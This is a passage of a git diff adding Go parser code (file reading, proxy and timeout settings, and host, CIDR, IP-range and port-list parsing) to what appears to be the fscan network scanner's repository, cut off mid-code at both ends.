*FileReaderOptions) (*FileResult, error) { + startTime := time.Now() + + // 检查文件 + fileInfo, err := os.Stat(filename) + if err != nil { + return nil, NewParseError("FILE_ERROR", "文件不存在或无法访问", filename, 0, err) + } + + // 检查文件大小 + if fileInfo.Size() > fr.maxFileSize { + return nil, NewParseError("FILE_ERROR", + fmt.Sprintf("文件过大: %d bytes, 最大限制: %d bytes", fileInfo.Size(), fr.maxFileSize), + filename, 0, nil) + } + + // 打开文件 + file, err := os.Open(filename) + if err != nil { + return nil, NewParseError("FILE_ERROR", "无法打开文件", filename, 0, err) + } + defer file.Close() + + // 创建结果 + result := &FileResult{ + Lines: make([]string, 0), + Source: &FileSource{ + Path: filename, + Size: fileInfo.Size(), + ModTime: fileInfo.ModTime(), + }, + } + + // 读取文件内容 + scanner := bufio.NewScanner(file) + scanner.Split(bufio.ScanLines) + + lineNum := 0 + validLines := 0 + + for scanner.Scan() { + lineNum++ + line := scanner.Text() + + // 处理行内容 + if processedLine, valid := fr.processLine(line, options); valid { + result.Lines = append(result.Lines, processedLine) + validLines++ + } + } + + // 检查扫描错误 + if err := scanner.Err(); err != nil { + return nil, NewParseError(ErrorTypeReadError, i18n.GetText("parser_file_scan_failed"), filename, lineNum, err) + } + + // 更新统计信息 + result.Source.LineCount = lineNum + result.Source.ValidLines = validLines + result.ValidLines = validLines + result.ReadTime = time.Since(startTime) + + return result, nil +} + +// processLine 处理单行内容 +func (fr *FileReader) processLine(line string, options *FileReaderOptions) (string, bool) { + // 清理空白字符 + if options.TrimSpace { + line = strings.TrimSpace(line) + } + + // 跳过空行 + if options.SkipEmpty && line == "" { + return "", false + } + + // 跳过注释行 + if options.SkipComments && strings.HasPrefix(line, CommentPrefix) { + return "", false + } + + // 内容验证 + if options.EnableValidation && fr.enableValidation { + if !fr.validateLine(line) { + return "", false + } + } + + return line, true +} + +// validateLine 验证行内容 +func (fr *FileReader) validateLine(line string) bool { + // 基本验证:检查是否包含特殊字符或过长 + if len(line) > MaxLineLength { // 单行最大字符数 + return false + } + + // 检查是否包含控制字符 + for _, r := range line { + if r < MaxValidRune && r != TabRune && r != NewlineRune && r != CarriageReturnRune { // 排除tab、换行、回车 + return false + } + } + + return true +} + +// mergeOptions 合并选项 +func (fr *FileReader) mergeOptions(options ...*FileReaderOptions) *FileReaderOptions { + opts := DefaultFileReaderOptions() + if len(options) > 0 && options[0] != nil { + opts = options[0] + } + return opts +} + +// getFromCache 从缓存获取结果 +func (fr *FileReader) getFromCache(filename string) *FileResult { + fr.mu.RLock() + defer fr.mu.RUnlock() + + if result, exists := fr.cache[filename]; exists { + // 检查文件是否有更新 + if fileInfo, err := os.Stat(filename); err == nil { + if fileInfo.ModTime().After(result.Source.ModTime) { + // 文件已更新,从缓存中移除 + delete(fr.cache, filename) + return nil + } + } + return result + } + return nil +} + +// addToCache 添加到缓存 +func (fr *FileReader) addToCache(filename string, result *FileResult) { + fr.mu.Lock() + defer fr.mu.Unlock() + + // 检查缓存大小 + if len(fr.cache) >= fr.maxCacheSize { + // 移除最旧的条目(简单的LRU策略) + var oldestFile string + var oldestTime time.Time + for file, res := range fr.cache { + if oldestFile == "" || res.Source.ModTime.Before(oldestTime) { + oldestFile = file + oldestTime = res.Source.ModTime + } + } + delete(fr.cache, oldestFile) + } + + fr.cache[filename] = result +} + +// ============================================================================================= +// 已删除的死代码(未使用):ClearCache 和 GetCacheStats 方法 +// ============================================================================================= \ No newline at end of file diff --git a/common/parsers/NetworkParser.go b/common/parsers/NetworkParser.go new file mode 100644 index 0000000..a630244 --- /dev/null +++ b/common/parsers/NetworkParser.go @@ -0,0 +1,369 @@ +package parsers + +import ( + "fmt" + "net/url" + "strconv" + "strings" + "sync" + "time" + + "github.com/shadow1ng/fscan/common/i18n" +) + +// NetworkParser 网络配置解析器 +type NetworkParser struct { + mu sync.RWMutex //nolint:unused // reserved for future thread safety + options *NetworkParserOptions +} + +// NetworkParserOptions 网络解析器选项 +type NetworkParserOptions struct { + ValidateProxies bool `json:"validate_proxies"` + AllowInsecure bool `json:"allow_insecure"` + DefaultTimeout time.Duration `json:"default_timeout"` + DefaultWebTimeout time.Duration `json:"default_web_timeout"` + DefaultUserAgent string `json:"default_user_agent"` +} + +// DefaultNetworkParserOptions 默认网络解析器选项 +func DefaultNetworkParserOptions() *NetworkParserOptions { + return &NetworkParserOptions{ + ValidateProxies: DefaultValidateProxies, + AllowInsecure: DefaultAllowInsecure, + DefaultTimeout: DefaultNetworkTimeout, + DefaultWebTimeout: DefaultWebTimeout, + DefaultUserAgent: DefaultUserAgent, + } +} + +// NewNetworkParser 创建网络配置解析器 +func NewNetworkParser(options *NetworkParserOptions) *NetworkParser { + if options == nil { + options = DefaultNetworkParserOptions() + } + + return &NetworkParser{ + options: options, + } +} + +// NetworkInput 网络配置输入参数 +type NetworkInput struct { + // 代理配置 + HttpProxy string `json:"http_proxy"` + Socks5Proxy string `json:"socks5_proxy"` + + // 超时配置 + Timeout int64 `json:"timeout"` + WebTimeout int64 `json:"web_timeout"` + + // 网络选项 + DisablePing bool `json:"disable_ping"` + DnsLog bool `json:"dns_log"` + UserAgent string `json:"user_agent"` + Cookie string `json:"cookie"` +} + +// Parse 解析网络配置 +func (np *NetworkParser) Parse(input *NetworkInput, options *ParserOptions) (*ParseResult, error) { + if input == nil { + return nil, NewParseError("INPUT_ERROR", "网络配置输入为空", "", 0, ErrEmptyInput) + } + + startTime := time.Now() + result := &ParseResult{ + Config: &ParsedConfig{ + Network: &NetworkConfig{ + EnableDNSLog: input.DnsLog, + DisablePing: input.DisablePing, + }, + }, + Success: true, + } + + var errors []error + var warnings []string + + // 解析HTTP代理 + httpProxy, httpErrors, httpWarnings := np.parseHttpProxy(input.HttpProxy) + errors = append(errors, httpErrors...) + warnings = append(warnings, httpWarnings...) + + // 解析Socks5代理 + socks5Proxy, socks5Errors, socks5Warnings := np.parseSocks5Proxy(input.Socks5Proxy) + errors = append(errors, socks5Errors...) + warnings = append(warnings, socks5Warnings...) + + // 解析超时配置 + timeout, webTimeout, timeoutErrors, timeoutWarnings := np.parseTimeouts(input.Timeout, input.WebTimeout) + errors = append(errors, timeoutErrors...) + warnings = append(warnings, timeoutWarnings...) + + // 解析用户代理 + userAgent, uaErrors, uaWarnings := np.parseUserAgent(input.UserAgent) + errors = append(errors, uaErrors...) + warnings = append(warnings, uaWarnings...) + + // 解析Cookie + cookie, cookieErrors, cookieWarnings := np.parseCookie(input.Cookie) + errors = append(errors, cookieErrors...) + warnings = append(warnings, cookieWarnings...) + + // 检查代理冲突 + if httpProxy != "" && socks5Proxy != "" { + warnings = append(warnings, "同时配置了HTTP代理和Socks5代理,Socks5代理将被优先使用") + } + + // 更新配置 + result.Config.Network.HttpProxy = httpProxy + result.Config.Network.Socks5Proxy = socks5Proxy + result.Config.Network.Timeout = timeout + result.Config.Network.WebTimeout = webTimeout + result.Config.Network.UserAgent = userAgent + result.Config.Network.Cookie = cookie + + // 设置结果状态 + result.Errors = errors + result.Warnings = warnings + result.ParseTime = time.Since(startTime) + result.Success = len(errors) == 0 + + return result, nil +} + +// parseHttpProxy 解析HTTP代理配置 +func (np *NetworkParser) parseHttpProxy(proxyStr string) (string, []error, []string) { + var errors []error + var warnings []string + + if proxyStr == "" { + return "", nil, nil + } + + // 处理简写形式 + normalizedProxy := np.normalizeHttpProxy(proxyStr) + + // 验证代理URL + if np.options.ValidateProxies { + if err := np.validateProxyURL(normalizedProxy); err != nil { + errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "http_proxy", 0, err)) + return "", errors, warnings + } + } + + return normalizedProxy, errors, warnings +} + +// parseSocks5Proxy 解析Socks5代理配置 +func (np *NetworkParser) parseSocks5Proxy(proxyStr string) (string, []error, []string) { + var errors []error + var warnings []string + + if proxyStr == "" { + return "", nil, nil + } + + // 处理简写形式 + normalizedProxy := np.normalizeSocks5Proxy(proxyStr) + + // 验证代理URL + if np.options.ValidateProxies { + if err := np.validateProxyURL(normalizedProxy); err != nil { + errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "socks5_proxy", 0, err)) + return "", errors, warnings + } + } + + // 使用Socks5代理时建议禁用Ping + if normalizedProxy != "" { + warnings = append(warnings, "使用Socks5代理时建议禁用Ping检测") + } + + return normalizedProxy, errors, warnings +} + +// parseTimeouts 解析超时配置 +func (np *NetworkParser) parseTimeouts(timeout, webTimeout int64) (time.Duration, time.Duration, []error, []string) { + var errors []error + var warnings []string + + // 处理普通超时 + finalTimeout := np.options.DefaultTimeout + if timeout > 0 { + if timeout > MaxTimeoutSeconds { + warnings = append(warnings, "超时时间过长,建议不超过300秒") + } + finalTimeout = time.Duration(timeout) * time.Second + } + + // 处理Web超时 + finalWebTimeout := np.options.DefaultWebTimeout + if webTimeout > 0 { + if webTimeout > MaxWebTimeoutSeconds { + warnings = append(warnings, "Web超时时间过长,建议不超过120秒") + } + finalWebTimeout = time.Duration(webTimeout) * time.Second + } + + // 验证超时配置合理性 + if finalWebTimeout > finalTimeout { + warnings = append(warnings, i18n.GetText("config_web_timeout_warning")) + } + + return finalTimeout, finalWebTimeout, errors, warnings +} + +// parseUserAgent 解析用户代理 +func (np *NetworkParser) parseUserAgent(userAgent string) (string, []error, []string) { + var errors []error + var warnings []string + + if userAgent == "" { + return np.options.DefaultUserAgent, errors, warnings + } + + // 基本格式验证 + if len(userAgent) > MaxUserAgentLength { + errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理字符串过长", "user_agent", 0, nil)) + return "", errors, warnings + } + + // 检查是否包含特殊字符 + if strings.ContainsAny(userAgent, InvalidUserAgentChars) { + errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理包含非法字符", "user_agent", 0, nil)) + return "", errors, warnings + } + + // 检查是否为常见浏览器用户代理 + if !np.isValidUserAgent(userAgent) { + warnings = append(warnings, "用户代理格式可能不被目标服务器识别") + } + + return userAgent, errors, warnings +} + +// parseCookie 解析Cookie +func (np *NetworkParser) parseCookie(cookie string) (string, []error, []string) { + var errors []error + var warnings []string + + if cookie == "" { + return "", errors, warnings + } + + // 基本格式验证 + if len(cookie) > MaxCookieLength { // HTTP Cookie长度限制 + errors = append(errors, NewParseError(ErrorTypeCookieError, "Cookie字符串过长", "cookie", 0, nil)) + return "", errors, warnings + } + + // 检查Cookie格式 + if !np.isValidCookie(cookie) { + warnings = append(warnings, "Cookie格式可能不正确") + } + + return cookie, errors, warnings +} + +// normalizeHttpProxy 规范化HTTP代理URL +func (np *NetworkParser) normalizeHttpProxy(proxy string) string { + switch strings.ToLower(proxy) { + case ProxyShortcut1: + return ProxyShortcutHTTP + case ProxyShortcut2: + return ProxyShortcutSOCKS5 + default: + // 如果没有协议前缀,默认使用HTTP + if !strings.Contains(proxy, ProtocolPrefix) { + if strings.Contains(proxy, ":") { + return HTTPPrefix + proxy + } else { + return HTTPPrefix + "127.0.0.1:" + proxy + } + } + return proxy + } +} + +// normalizeSocks5Proxy 规范化Socks5代理URL +func (np *NetworkParser) normalizeSocks5Proxy(proxy string) string { + // 如果没有协议前缀,添加SOCKS5协议 + if !strings.HasPrefix(proxy, SOCKS5Prefix) { + if strings.Contains(proxy, ":") { + return SOCKS5Prefix + proxy + } else { + return SOCKS5Prefix + "127.0.0.1:" + proxy + } + } + return proxy +} + +// validateProxyURL 验证代理URL格式 +func (np *NetworkParser) validateProxyURL(proxyURL string) error { + if proxyURL == "" { + return nil + } + + parsedURL, err := url.Parse(proxyURL) + if err != nil { + return fmt.Errorf("代理URL格式无效: %v", err) + } + + // 检查协议 + switch parsedURL.Scheme { + case ProtocolHTTP, ProtocolHTTPS, ProtocolSOCKS5: + // 支持的协议 + default: + return fmt.Errorf("不支持的代理协议: %s", parsedURL.Scheme) + } + + // 检查主机名 + if parsedURL.Hostname() == "" { + return fmt.Errorf("代理主机名为空") + } + + // 检查端口 + portStr := parsedURL.Port() + if portStr != "" { + port, err := strconv.Atoi(portStr) + if err != nil { + return fmt.Errorf("代理端口号无效: %s", portStr) + } + if port < 1 || port > 65535 { + return fmt.Errorf("代理端口号超出范围: %d", port) + } + } + + // 安全检查 + if !np.options.AllowInsecure && parsedURL.Scheme == ProtocolHTTP { + return fmt.Errorf("不允许使用不安全的HTTP代理") + } + + return nil +} + +// isValidUserAgent 检查用户代理是否有效 +func (np *NetworkParser) isValidUserAgent(userAgent string) bool { + // 检查是否包含常见的浏览器标识 + commonBrowsers := GetCommonBrowsers() + + userAgentLower := strings.ToLower(userAgent) + for _, browser := range commonBrowsers { + if strings.Contains(userAgentLower, strings.ToLower(browser)) { + return true + } + } + + return false +} + +// isValidCookie 检查Cookie格式是否有效 +func (np *NetworkParser) isValidCookie(cookie string) bool { + // 基本Cookie格式检查 (name=value; name2=value2) + return CompiledCookieRegex.MatchString(strings.TrimSpace(cookie)) +} + +// ============================================================================================= +// 已删除的死代码(未使用):Validate 和 GetStatistics 方法 +// ============================================================================================= \ No newline at end of file diff --git a/common/parsers/Simple.go b/common/parsers/Simple.go new file mode 100644 index 0000000..16ee0f3 --- /dev/null +++ b/common/parsers/Simple.go @@ -0,0 +1,366 @@ +package parsers + +import ( + "bufio" + "fmt" + "net" + "os" + "sort" + "strconv" + "strings" +) + +/* +Simple.go - 简化版本的解析器函数 + +这个文件提供了简化但功能完整的解析函数,用于替代复杂的解析器架构。 +保持与现有代码的接口兼容性,但大幅简化实现逻辑。 +*/ + +// ============================================================================= +// 简化的IP/主机解析函数 +// ============================================================================= + +// ParseIP 解析各种格式的IP地址 +// 支持单个IP、IP范围、CIDR和文件输入 +func ParseIP(host string, filename string, nohosts ...string) ([]string, error) { + var hosts []string + + // 如果提供了文件名,从文件读取主机列表 + if filename != "" { + fileHosts, fileErr := readHostsFromFile(filename) + if fileErr != nil { + return nil, fmt.Errorf("读取主机文件失败: %v", fileErr) + } + hosts = append(hosts, fileHosts...) + } + + // 解析主机参数 + if host != "" { + hostList, hostErr := parseHostString(host) + if hostErr != nil { + return nil, fmt.Errorf("解析主机失败: %v", hostErr) + } + hosts = append(hosts, hostList...) + } + + // 处理排除主机 + if len(nohosts) > 0 && nohosts[0] != "" { + excludeList, excludeErr := parseHostString(nohosts[0]) + if excludeErr != nil { + return nil, fmt.Errorf("解析排除主机失败: %v", excludeErr) + } + hosts = excludeHosts(hosts, excludeList) + } + + // 去重和排序 + hosts = removeDuplicates(hosts) + sort.Strings(hosts) + + if len(hosts) == 0 { + return nil, fmt.Errorf("没有找到有效的主机") + } + + return hosts, nil +} + +// ============================================================================= +// 简化的端口解析函数 +// ============================================================================= + +// ParsePort 解析端口配置字符串为端口号列表 +// 保持与 ParsePort 的接口兼容性 +func ParsePort(ports string) []int { + if ports == "" { + return nil + } + + var result []int + + // 处理预定义端口组 + ports = expandPortGroups(ports) + + // 按逗号分割 + for _, portStr := range strings.Split(ports, ",") { + portStr = strings.TrimSpace(portStr) + if portStr == "" { + continue + } + + // 处理端口范围 (如 1-100) + if strings.Contains(portStr, "-") { + rangePorts := parsePortRange(portStr) + result = append(result, rangePorts...) + } else { + // 单个端口 + if port, err := strconv.Atoi(portStr); err == nil { + if port >= MinPort && port <= MaxPort { + result = append(result, port) + } + } + } + } + + // 去重和排序 + result = removeDuplicatePorts(result) + sort.Ints(result) + + return result +} + +// 已移除未使用的 ParsePortsFromString 方法 + +// ============================================================================= +// 辅助函数 +// ============================================================================= + +// readHostsFromFile 从文件读取主机列表 +func readHostsFromFile(filename string) ([]string, error) { + file, err := os.Open(filename) + if err != nil { + return nil, err + } + defer file.Close() + + var hosts []string + scanner := bufio.NewScanner(file) + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + if line != "" && !strings.HasPrefix(line, CommentPrefix) { + hosts = append(hosts, line) + } + } + + return hosts, scanner.Err() +} + +// parseHostString 解析主机字符串 +func parseHostString(host string) ([]string, error) { + var hosts []string + + // 按逗号分割多个主机 + for _, h := range strings.Split(host, ",") { + h = strings.TrimSpace(h) + if h == "" { + continue + } + + // 检查是否为CIDR格式 + if strings.Contains(h, "/") { + cidrHosts, err := parseCIDR(h) + if err != nil { + return nil, fmt.Errorf("解析CIDR %s 失败: %v", h, err) + } + hosts = append(hosts, cidrHosts...) + } else if strings.Contains(h, "-") && !strings.Contains(h, ":") { + // IP范围格式 (如 192.168.1.1-10) + rangeHosts, err := parseIPRange(h) + if err != nil { + return nil, fmt.Errorf("解析IP范围 %s 失败: %v", h, err) + } + hosts = append(hosts, rangeHosts...) + } else { + // 单个主机 + hosts = append(hosts, h) + } + } + + return hosts, nil +} + +// parseCIDR 解析CIDR格式的网段 +func parseCIDR(cidr string) ([]string, error) { + _, ipNet, err := net.ParseCIDR(cidr) + if err != nil { + return nil, err + } + + var hosts []string + for ip := ipNet.IP.Mask(ipNet.Mask); ipNet.Contains(ip); nextIP(ip) { + hosts = append(hosts, ip.String()) + + // 限制最大主机数量,防止内存溢出 + if len(hosts) > SimpleMaxHosts { + break + } + } + + // 移除网络地址和广播地址 + if len(hosts) > 2 { + hosts = hosts[1 : len(hosts)-1] + } + + return hosts, nil +} + +// parseIPRange 解析IP范围 +func parseIPRange(rangeStr string) ([]string, error) { + parts := strings.Split(rangeStr, "-") + if len(parts) != 2 { + return nil, fmt.Errorf("无效的IP范围格式: %s", rangeStr) + } + + startIP := strings.TrimSpace(parts[0]) + endPart := strings.TrimSpace(parts[1]) + + // 检查是否为短格式 (如 192.168.1.1-10) + if !strings.Contains(endPart, ".") { + return parseShortIPRange(startIP, endPart) + } + + // 完整IP范围 + return parseFullIPRange(startIP, endPart) +} + +// parseShortIPRange 解析短格式IP范围 +func parseShortIPRange(startIPStr, endSuffix string) ([]string, error) { + startIP := net.ParseIP(startIPStr) + if startIP == nil { + return nil, fmt.Errorf("无效的起始IP: %s", startIPStr) + } + + endNum, err := strconv.Atoi(endSuffix) + if err != nil { + return nil, fmt.Errorf("无效的结束数字: %s", endSuffix) + } + + var hosts []string + startIPParts := strings.Split(startIPStr, ".") + if len(startIPParts) != IPv4OctetCount { + return nil, fmt.Errorf("无效的IP格式: %s", startIPStr) + } + + baseIP := strings.Join(startIPParts[:3], ".") + startNum, _ := strconv.Atoi(startIPParts[3]) + + for i := startNum; i <= endNum && i <= RouterSwitchLastOctet; i++ { + hosts = append(hosts, fmt.Sprintf("%s.%d", baseIP, i)) + } + + return hosts, nil +} + +// parseFullIPRange 解析完整IP范围 +func parseFullIPRange(startIPStr, endIPStr string) ([]string, error) { + startIP := net.ParseIP(startIPStr) + endIP := net.ParseIP(endIPStr) + + if startIP == nil || endIP == nil { + return nil, fmt.Errorf("无效的IP地址") + } + + var hosts []string + for ip := make(net.IP, len(startIP)); ; nextIP(ip) { + copy(ip, startIP) + hosts = append(hosts, ip.String()) + + if ip.Equal(endIP) { + break + } + + // 限制最大主机数量 + if len(hosts) > SimpleMaxHosts { + break + } + + nextIP(startIP) + } + + return hosts, nil +} + +// parsePortRange 解析端口范围 +func parsePortRange(rangeStr string) []int { + parts := strings.Split(rangeStr, "-") + if len(parts) != 2 { + return nil + } + + start, err1 := strconv.Atoi(strings.TrimSpace(parts[0])) + end, err2 := strconv.Atoi(strings.TrimSpace(parts[1])) + + if err1 != nil || err2 != nil || start < MinPort || end > MaxPort || start > end { + return nil + } + + var ports []int + for i := start; i <= end; i++ { + ports = append(ports, i) + } + + return ports +} + +// expandPortGroups 展开端口组 +func expandPortGroups(ports string) string { + // 使用预定义的端口组 + portGroups := GetPortGroups() + + result := ports + for group, portList := range portGroups { + result = strings.ReplaceAll(result, group, portList) + } + + return result +} + +// excludeHosts 排除指定的主机 +func excludeHosts(hosts, excludeList []string) []string { + if len(excludeList) == 0 { + return hosts + } + + excludeMap := make(map[string]struct{}) + for _, exclude := range excludeList { + excludeMap[exclude] = struct{}{} + } + + var result []string + for _, host := range hosts { + if _, found := excludeMap[host]; !found { + result = append(result, host) + } + } + + return result +} + +// removeDuplicates 去除字符串重复项 +func removeDuplicates(slice []string) []string { + keys := make(map[string]struct{}) + var result []string + + for _, item := range slice { + if _, found := keys[item]; !found { + keys[item] = struct{}{} + result = append(result, item) + } + } + + return result +} + +// removeDuplicatePorts 去除端口重复项 +func removeDuplicatePorts(slice []int) []int { + keys := make(map[int]struct{}) + var result []int + + for _, item := range slice { + if _, found := keys[item]; !found { + keys[item] = struct{}{} + result = append(result, item) + } + } + + return result +} + +// nextIP 计算下一个IP地址 +func nextIP(ip net.IP) { + for j := len(ip) - 1; j >= 0; j-- { + ip[j]++ + if ip[j] > 0 { + break + } + } +} \ No newline at end of file diff --git a/common/parsers/TargetParser.go b/common/parsers/TargetParser.go new file mode 100644 index 0000000..6986afd --- /dev/null +++ b/common/parsers/TargetParser.go @@ -0,0 +1,920 @@ +package parsers + +import ( + "fmt" + "net" + "net/url" + "regexp" + "strconv" + "strings" + "sync" + "time" +) + +// TargetParser 目标解析器 +type TargetParser struct { + fileReader *FileReader + mu sync.RWMutex //nolint:unused // reserved for future thread safety + ipRegex *regexp.Regexp + portRegex *regexp.Regexp + urlRegex *regexp.Regexp + options *TargetParserOptions +} + +// TargetParserOptions 目标解析器选项 +type TargetParserOptions struct { + MaxTargets int `json:"max_targets"` + MaxPortRange int `json:"max_port_range"` + AllowPrivateIPs bool `json:"allow_private_ips"` + AllowLoopback bool `json:"allow_loopback"` + ValidateURLs bool `json:"validate_urls"` + ResolveDomains bool `json:"resolve_domains"` + EnableStatistics bool `json:"enable_statistics"` +} + +// DefaultTargetParserOptions 默认目标解析器选项 +func DefaultTargetParserOptions() *TargetParserOptions { + return &TargetParserOptions{ + MaxTargets: DefaultTargetMaxTargets, + MaxPortRange: DefaultMaxPortRange, + AllowPrivateIPs: DefaultAllowPrivateIPs, + AllowLoopback: DefaultAllowLoopback, + ValidateURLs: DefaultValidateURLs, + ResolveDomains: DefaultResolveDomains, + EnableStatistics: DefaultTargetEnableStatistics, + } +} + +// NewTargetParser 创建目标解析器 +func NewTargetParser(fileReader *FileReader, options *TargetParserOptions) *TargetParser { + if options == nil { + options = DefaultTargetParserOptions() + } + + // 使用预编译的正则表达式 + ipRegex := CompiledIPv4Regex + portRegex := CompiledPortRegex + urlRegex := CompiledURLRegex + + return &TargetParser{ + fileReader: fileReader, + ipRegex: ipRegex, + portRegex: portRegex, + urlRegex: urlRegex, + options: options, + } +} + +// TargetInput 目标输入参数 +type TargetInput struct { + // 主机相关 + Host string `json:"host"` + HostsFile string `json:"hosts_file"` + ExcludeHosts string `json:"exclude_hosts"` + + // 端口相关 + Ports string `json:"ports"` + PortsFile string `json:"ports_file"` + AddPorts string `json:"add_ports"` + ExcludePorts string `json:"exclude_ports"` + + // URL相关 + TargetURL string `json:"target_url"` + URLsFile string `json:"urls_file"` + + // 主机端口组合 + HostPort []string `json:"host_port"` + + // 模式标识 + LocalMode bool `json:"local_mode"` +} + +// Parse 解析目标配置 +func (tp *TargetParser) Parse(input *TargetInput, options *ParserOptions) (*ParseResult, error) { + if input == nil { + return nil, NewParseError(ErrorTypeInputError, "目标输入为空", "", 0, ErrEmptyInput) + } + + startTime := time.Now() + result := &ParseResult{ + Config: &ParsedConfig{ + Targets: &TargetConfig{ + LocalMode: input.LocalMode, + }, + }, + Success: true, + } + + var errors []error + var warnings []string + + // 解析主机 + hosts, hostErrors, hostWarnings := tp.parseHosts(input) + errors = append(errors, hostErrors...) + warnings = append(warnings, hostWarnings...) + + // 解析URL + urls, urlErrors, urlWarnings := tp.parseURLs(input) + errors = append(errors, urlErrors...) + warnings = append(warnings, urlWarnings...) + + // 解析端口 + ports, portErrors, portWarnings := tp.parsePorts(input) + errors = append(errors, portErrors...) + warnings = append(warnings, portWarnings...) + + // 解析排除端口 + excludePorts, excludeErrors, excludeWarnings := tp.parseExcludePorts(input) + errors = append(errors, excludeErrors...) + warnings = append(warnings, excludeWarnings...) + + // 解析主机端口组合 + hostPorts, hpErrors, hpWarnings := tp.parseHostPorts(input) + errors = append(errors, hpErrors...) + warnings = append(warnings, hpWarnings...) + + // 更新配置 + result.Config.Targets.Hosts = hosts + result.Config.Targets.URLs = urls + result.Config.Targets.Ports = ports + result.Config.Targets.ExcludePorts = excludePorts + result.Config.Targets.HostPorts = hostPorts + + // 生成统计信息 + if tp.options.EnableStatistics { + result.Config.Targets.Statistics = tp.generateStatistics(hosts, urls, ports, excludePorts) + } + + // 设置结果状态 + result.Errors = errors + result.Warnings = warnings + result.ParseTime = time.Since(startTime) + result.Success = len(errors) == 0 + + return result, nil +} + +// parseHosts 解析主机 +func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []string) { + var hosts []string + var errors []error + var warnings []string + + // 解析命令行主机 + if input.Host != "" { + hostList, err := tp.parseHostList(input.Host) + if err != nil { + errors = append(errors, NewParseError(ErrorTypeHostError, err.Error(), "command line", 0, err)) + } else { + hosts = append(hosts, hostList...) + } + } + + // 从文件读取主机 + if input.HostsFile != "" { + fileResult, err := tp.fileReader.ReadFile(input.HostsFile) + if err != nil { + errors = append(errors, NewParseError(ErrorTypeFileError, "读取主机文件失败", input.HostsFile, 0, err)) + } else { + for i, line := range fileResult.Lines { + hostList, err := tp.parseHostList(line) + if err != nil { + warnings = append(warnings, fmt.Sprintf("主机文件第%d行解析失败: %s", i+1, err.Error())) + } else { + hosts = append(hosts, hostList...) + } + } + } + } + + // 处理排除主机 + if input.ExcludeHosts != "" { + excludeList, err := tp.parseHostList(input.ExcludeHosts) + if err != nil { + warnings = append(warnings, fmt.Sprintf("排除主机解析失败: %s", err.Error())) + } else { + hosts = tp.excludeHosts(hosts, excludeList) + } + } + + // 去重和验证,同时分离host:port格式 + hosts = tp.removeDuplicateStrings(hosts) + validHosts := make([]string, 0, len(hosts)) + hostPorts := make([]string, 0) + + for _, host := range hosts { + // 检查是否为host:port格式 + if strings.Contains(host, ":") { + if h, portStr, err := net.SplitHostPort(host); err == nil { + // 验证端口号 + if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort { + // 验证主机部分 + if valid, hostErr := tp.validateHost(h); valid { + // 这是有效的host:port组合,添加到hostPorts + hostPorts = append(hostPorts, host) + continue + } else if hostErr != nil { + warnings = append(warnings, fmt.Sprintf("无效主机端口组合: %s - %s", host, hostErr.Error())) + continue + } + } + } + } + + // 作为普通主机验证 + if valid, err := tp.validateHost(host); valid { + validHosts = append(validHosts, host) + } else if err != nil { + warnings = append(warnings, fmt.Sprintf("无效主机: %s - %s", host, err.Error())) + } + } + + // 将找到的hostPorts合并到输入结果中(通过修改input结构) + if len(hostPorts) > 0 { + input.HostPort = append(input.HostPort, hostPorts...) + } + + // 检查目标数量限制 + if len(validHosts) > tp.options.MaxTargets { + warnings = append(warnings, fmt.Sprintf("主机数量超过限制,截取前%d个", tp.options.MaxTargets)) + validHosts = validHosts[:tp.options.MaxTargets] + } + + return validHosts, errors, warnings +} + +// parseURLs 解析URL +func (tp *TargetParser) parseURLs(input *TargetInput) ([]string, []error, []string) { + var urls []string + var errors []error + var warnings []string + + // 解析命令行URL + if input.TargetURL != "" { + urlList := strings.Split(input.TargetURL, ",") + for _, rawURL := range urlList { + rawURL = strings.TrimSpace(rawURL) + if rawURL != "" { + if valid, err := tp.validateURL(rawURL); valid { + urls = append(urls, rawURL) + } else { + warnings = append(warnings, fmt.Sprintf("无效URL: %s - %s", rawURL, err.Error())) + } + } + } + } + + // 从文件读取URL + if input.URLsFile != "" { + fileResult, err := tp.fileReader.ReadFile(input.URLsFile) + if err != nil { + errors = append(errors, NewParseError(ErrorTypeFileError, "读取URL文件失败", input.URLsFile, 0, err)) + } else { + for i, line := range fileResult.Lines { + if valid, err := tp.validateURL(line); valid { + urls = append(urls, line) + } else { + warnings = append(warnings, fmt.Sprintf("URL文件第%d行无效: %s", i+1, err.Error())) + } + } + } + } + + // 去重 + urls = tp.removeDuplicateStrings(urls) + + return urls, errors, warnings +} + +// parsePorts 解析端口 +func (tp *TargetParser) parsePorts(input *TargetInput) ([]int, []error, []string) { + var ports []int + var errors []error + var warnings []string + + // 解析命令行端口 + if input.Ports != "" { + portList, err := tp.parsePortList(input.Ports) + if err != nil { + errors = append(errors, NewParseError(ErrorTypePortError, err.Error(), "command line", 0, err)) + } else { + ports = append(ports, portList...) + } + } + + // 从文件读取端口 + if input.PortsFile != "" { + fileResult, err := tp.fileReader.ReadFile(input.PortsFile) + if err != nil { + errors = append(errors, NewParseError(ErrorTypeFileError, "读取端口文件失败", input.PortsFile, 0, err)) + } else { + for i, line := range fileResult.Lines { + portList, err := tp.parsePortList(line) + if err != nil { + warnings = append(warnings, fmt.Sprintf("端口文件第%d行解析失败: %s", i+1, err.Error())) + } else { + ports = append(ports, portList...) + } + } + } + } + + // 处理额外端口 + if input.AddPorts != "" { + addPortList, err := tp.parsePortList(input.AddPorts) + if err != nil { + warnings = append(warnings, fmt.Sprintf("额外端口解析失败: %s", err.Error())) + } else { + ports = append(ports, addPortList...) + } + } + + // 去重和排序 + ports = tp.removeDuplicatePorts(ports) + + return ports, errors, warnings +} + +// parseExcludePorts 解析排除端口 +func (tp *TargetParser) parseExcludePorts(input *TargetInput) ([]int, []error, []string) { + var excludePorts []int + var errors []error + var warnings []string + + if input.ExcludePorts != "" { + portList, err := tp.parsePortList(input.ExcludePorts) + if err != nil { + errors = append(errors, NewParseError(ErrorTypeExcludePortError, err.Error(), "command line", 0, err)) + } else { + excludePorts = portList + } + } + + return excludePorts, errors, warnings +} + +// parseHostPorts 解析主机端口组合 +func (tp *TargetParser) parseHostPorts(input *TargetInput) ([]string, []error, []string) { + var hostPorts []string + var errors []error + var warnings []string + + for _, hp := range input.HostPort { + if hp != "" { + if valid, err := tp.validateHostPort(hp); valid { + hostPorts = append(hostPorts, hp) + } else { + warnings = 